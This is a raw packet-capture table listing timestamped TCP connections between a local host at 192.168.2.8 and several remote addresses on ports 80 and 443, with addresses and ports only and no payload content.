Nov 21, 2024 19:58:51.743324041 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.744744062 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.744971991 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.744981050 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.746004105 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.746136904 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.746417046 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.746463060 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.746969938 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.751321077 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.756122112 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.756227016 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.756233931 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.756763935 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.756769896 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.787364960 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.787379026 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.802889109 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.802912951 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.833679914 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.871057034 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:51.872456074 CET	49814	443	192.168.2.8	18.173.219.84
Nov 21, 2024 19:58:51.872473001 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:51.872786045 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:51.873421907 CET	49814	443	192.168.2.8	18.173.219.84
Nov 21, 2024 19:58:51.873472929 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:51.873672009 CET	49814	443	192.168.2.8	18.173.219.84
Nov 21, 2024 19:58:51.919323921 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:52.009339094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.009401083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.009442091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.009486914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.009805918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.009856939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.010001898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.010059118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.010381937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.010420084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.010440111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.010476112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.010494947 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:52.010649920 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:52.010703087 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:52.011080980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.011132002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.011188030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.011224031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.011497974 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:52.011516094 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:52.011864901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.011940002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.011976957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.012482882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.012531042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.012573004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.016858101 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:52.016891003 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:52.017000914 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:52.017184019 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:52.017195940 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:52.024899006 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:52.025073051 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:52.025132895 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:52.025445938 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:52.025445938 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:52.025456905 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:52.025569916 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:52.133697033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.133713007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.133791924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.133843899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.133888006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.133893967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.134380102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.134581089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.134597063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.134633064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.134984970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.135023117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.135102987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.135142088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.135694981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.135921955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.135943890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.136212111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.136398077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.136512995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.136563063 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.137094021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.137151003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.137161970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.137193918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.137808084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.137866020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.137887001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.137922049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.138495922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.138546944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.138595104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.138632059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.139187098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.139235973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.139347076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.139389038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.139931917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.140023947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.140075922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.140615940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.140665054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.140697002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.140795946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.152478933 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.152600050 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.152628899 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.152653933 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.152657986 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.152704954 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.152717113 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.152754068 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.152786016 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.153820038 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.153834105 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.154501915 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.154514074 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.179868937 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.179898024 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.179907084 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.179969072 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.180022955 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.180022955 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.188110113 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.188142061 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.188152075 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.188230991 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.188241959 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.188294888 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.197432041 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.197454929 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.198467970 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.198491096 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.224260092 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.224287987 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.224339962 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.224358082 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.224370956 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.224404097 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.224474907 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.225903988 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:52.225922108 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:52.261806965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.261897087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.261956930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.262002945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.262156010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.262206078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.262321949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.262494087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.262608051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.262666941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.262814999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.262902021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.263303041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.263351917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.263391018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.263488054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.263762951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.263820887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.263962030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.264134884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.264455080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.264514923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.264539957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.264594078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.265160084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.265213013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.265239954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.265294075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.265866995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.265929937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.265934944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.266037941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.266666889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.266722918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.266757965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.266824961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.267261982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.267329931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.267391920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.267450094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.267986059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.268040895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.268090010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.268148899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.268672943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.268727064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.268743992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.268812895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.269399881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.269454956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.269476891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.269524097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.270062923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.270117044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.270212889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.270384073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.270773888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.270859003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.270899057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.270951986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.271475077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.271509886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.271527052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.271576881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.272166967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.272229910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.272231102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.272272110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.272938013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.272969961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.273057938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.273598909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.273667097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.273710012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.274276972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.274343014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.274441957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.274487019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.274981976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.275023937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.275110006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.275160074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.275680065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.275736094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.275820971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.275892973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.276352882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.276396990 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.276417971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.276456118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.327944994 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:52.328020096 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:52.328104019 CET	49814	443	192.168.2.8	18.173.219.84
Nov 21, 2024 19:58:52.328891993 CET	49814	443	192.168.2.8	18.173.219.84
Nov 21, 2024 19:58:52.328907013 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:52.407125950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.407192945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.407221079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.407263994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.407447100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.407491922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.407598972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.407639980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.408185959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.408241034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.408467054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.408513069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.408874989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.408927917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.408962965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.409022093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.409545898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.409591913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.409660101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.409703016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.410250902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.410355091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.410362005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.410505056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.411078930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.411143064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.411225080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.411272049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.411922932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.411938906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.411982059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.412362099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.412420034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.412471056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.412611008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.413083076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.413197041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.413263083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.413357973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.413779020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.413830042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.413892984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.414000988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.414455891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.414504051 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.414644957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.414691925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.415191889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.415235996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.415306091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.415354013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.415878057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.415923119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.415977955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.416024923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.416547060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.416603088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.416608095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.416642904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.417270899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.417320013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.417573929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.417620897 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.417973042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.418015957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.418068886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.418107986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.418653011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.418703079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.418776035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.418823004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.419394970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.419442892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.419526100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.419574022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.420054913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.420120955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.420150042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.420192957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.420769930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.420818090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.420852900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.420918941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.421466112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.421567917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.421591997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.421608925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.422195911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.422246933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.422285080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.422367096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.422890902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.422936916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.423008919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.423080921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.424252987 CET	80	49746	185.215.113.206	192.168.2.8
